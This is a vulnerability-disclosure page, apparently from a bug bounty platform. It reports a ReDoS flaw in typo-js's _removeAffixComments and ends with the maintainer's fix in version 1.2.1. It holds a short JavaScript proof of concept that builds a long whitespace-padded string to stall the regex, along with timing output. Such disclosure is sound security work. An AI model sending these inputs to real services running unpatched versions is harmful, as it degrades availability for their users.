Inefficient Regular Expression Complexity in cfinke/typo.js

Valid

Reported on

Oct 18th 2021


Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in typo-js.

It allows causing a denial of service when calling function _removeAffixComments.

Proof of Concept

// PoC.js
var Typo = require("typo-js")
var empty_dict = new Typo();

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '1'+' '.repeat(i*10000)+"\x00";
    empty_dict._removeAffixComments(attack_str); 
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The Output

"attack_str.length: 10002: 403 ms"
"attack_str.length: 20002: 1354 ms"
"attack_str.length: 30002: 3017 ms"
"attack_str.length: 40002: 5352 ms"
"attack_str.length: 50002: 8367 ms"
"attack_str.length: 60002: 12156 ms"
We created a GitHub Issue asking the maintainers to create a SECURITY.md 2 months ago
We have contacted a member of the cfinke/typo.js team and are waiting to hear back 2 months ago
cfinke validated this vulnerability 2 months ago
Yeting Li has been awarded the disclosure bounty
The fix bounty is now up for grabs
cfinke
2 months ago

Maintainer


I can reproduce this behavior, but what is the scenario you envision where an attacker could do this but wouldn't instead just do:

while ( true ) {
  // Some very expensive operation unrelated to Typo.
}

Given that the slow performance requires a string with many consecutive whitespace characters, I don't expect that this will ever be triggered in a real-world scenario.

cfinke
2 months ago

Maintainer


Regardless, I've addressed the inefficiency in _removeAffixComments(), pushed it to GitHub, and released version 1.2.1 on npm.

cfinke confirmed that a fix has been merged on 9955cf 2 months ago
The fix bounty has been dropped
typo.js#L403-L409 has been validated